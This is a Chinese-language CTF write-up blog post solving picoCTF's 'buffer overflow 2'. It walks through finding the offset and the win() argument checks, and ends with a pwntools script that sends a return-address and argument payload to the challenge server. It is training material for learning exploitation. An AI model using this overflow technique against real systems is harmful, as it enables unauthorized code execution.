iT邦幫忙

2024 iThome 鐵人賽

DAY 18
0
佛心分享-刷題不只是刷題

CTF 刷題系列 第 18

CTF Day 18 Binary(buffer overflow 2)

  • 分享至 

  • xImage
  •  

題目 buffer overflow 2

https://ithelp.ithome.com.tw/upload/images/20241002/20155574W71RkvT47w.png

https://ithelp.ithome.com.tw/upload/images/20241002/20155574HeTzF1qAU2.png
https://ithelp.ithome.com.tw/upload/images/20241002/201555741jWnm6QxjW.png

再來看到win函式
有兩個參數,如果arg1 != 0xCAFEF00D or arg2 != 0xF00DF00D,就return
https://ithelp.ithome.com.tw/upload/images/20241002/201555744B9un6YxW8.png

gdb 的地方跟昨天 overflow_2差不多,只是多了一個main的address
https://ithelp.ithome.com.tw/upload/images/20241002/20155574j5MtAopr0L.png
https://ithelp.ithome.com.tw/upload/images/20241002/20155574xvySiJIeX4.png

EIP 當前的 指令(Instruction Pointer) 儲存當前執行指令的offset數
https://ithelp.ithome.com.tw/upload/images/20241002/20155574aRgEbES8Qv.png

win和main的address
需要先回到 main,存入arg1 & arg2 的值
https://ithelp.ithome.com.tw/upload/images/20241002/20155574GptrQtQZMJ.png

以下是整個過程的概覽:
1.使用緩衝區溢出將控制權轉移到 win() 函數。
2.在 win() 函數中檢查參數 arg1 和 arg2 的值。
3.若要確保能夠設置這些參數的值,需要返回到 main() 函數。
4.在 main() 函數中再次調用 vuln() 函數,利用 gets(buf) 填入正確的參數值。
5.再次轉移控制權回到 win() 函數,這次會檢查到正確的 arg1 和 arg2 值,從而顯示 flag。
(過程如果有錯,歡迎糾正我~)

script

from pwn import *

r = remote("saturn.picoctf.net",60242)
r.recvuntil(b"Please enter your string:")
r.sendline(b"A"*112+p32(0x08049296)+p32(0x08049372)+p32(0xCAFEF00D)+p32(0xF00DF00D))

r.interactive()
r.close()

參考資料

https://ctftime.org/writeup/32814


上一篇
CTF Day 17 Binary(buffer overflow 1)
下一篇
CTF Day 19 Binary(clutter-overflow)
系列文
CTF 刷題19
圖片
  直播研討會
圖片
{{ item.channelVendor }} {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言